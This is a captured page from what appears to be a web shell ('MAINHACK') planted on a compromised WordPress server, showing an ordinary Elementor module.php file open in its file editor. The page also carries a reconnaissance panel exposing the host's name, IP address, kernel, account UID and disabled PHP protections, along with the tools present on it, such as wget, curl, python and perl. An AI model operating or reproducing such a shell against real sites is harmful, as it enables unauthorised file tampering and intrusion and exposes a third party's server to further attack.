[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: module.php
<?php namespace Elementor\Modules\EditorOne; use Elementor\Core\Admin\EditorOneMenu\Elementor_One_Menu_Manager; use Elementor\Core\Base\Module as BaseModule; use Elementor\Modules\EditorOne\Classes\Menu_Config; use Elementor\Modules\EditorOne\Classes\Menu_Data_Provider; use Elementor\Modules\EditorOne\Components\Sidebar_Navigation_Handler; use Elementor\Modules\EditorOne\Components\Top_Bar_Handler; if ( ! defined( 'ABSPATH' ) ) { exit; } class Module extends BaseModule { const CUSTOM_REACT_APP_PAGES = [ 'elementor-element-manager', ]; public function get_name(): string { return 'editor-one'; } public function __construct() { parent::__construct(); if ( is_admin() ) { $this->add_component( 'editor-one-menu-manager', new Elementor_One_Menu_Manager() ); $this->add_component( 'sidebar-navigation-handler', new Sidebar_Navigation_Handler() ); $this->add_component( 'top-bar-handler', new Top_Bar_Handler() ); } add_action( 'current_screen', function () { $menu_data_provider = Menu_Data_Provider::instance(); if ( ! $menu_data_provider->is_editor_one_admin_page() ) { return; } add_action( 'admin_enqueue_scripts', function () { $this->enqueue_styles(); } ); } ); add_filter( 'elementor/admin-top-bar/is-active', function ( $_is_active ) { return false; } ); } /** * Check if current page has a custom React app that uses @elementor/ui * * @return bool */ private function is_custom_react_app_page() { $current_screen = get_current_screen(); if ( ! $current_screen ) { return false; } foreach ( self::CUSTOM_REACT_APP_PAGES as $page_slug ) { if ( str_contains( $current_screen->id ?? '', $page_slug ) ) { return true; } } return false; } /** * Enqueue admin styles */ private function enqueue_styles() { wp_enqueue_style( 'elementor-admin' ); wp_enqueue_style( 'elementor-editor-one-common', $this->get_css_assets_url( 'editor-one-common' ), [ 'elementor-admin' ], ELEMENTOR_VERSION ); if ( ! $this->is_custom_react_app_page() ) { wp_enqueue_style( 'elementor-editor-one-elements', $this->get_css_assets_url( 'editor-one-elements' ), [ 'elementor-editor-one-common' ], ELEMENTOR_VERSION ); wp_enqueue_style( 'elementor-editor-one-tables', $this->get_css_assets_url( 'editor-one-tables' ), [ 'elementor-editor-one-common' ], ELEMENTOR_VERSION ); } wp_enqueue_script( 'editor-one-admin', $this->get_js_assets_url( 'editor-one-admin' ), [ 'jquery' ], ELEMENTOR_VERSION, true ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.23 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056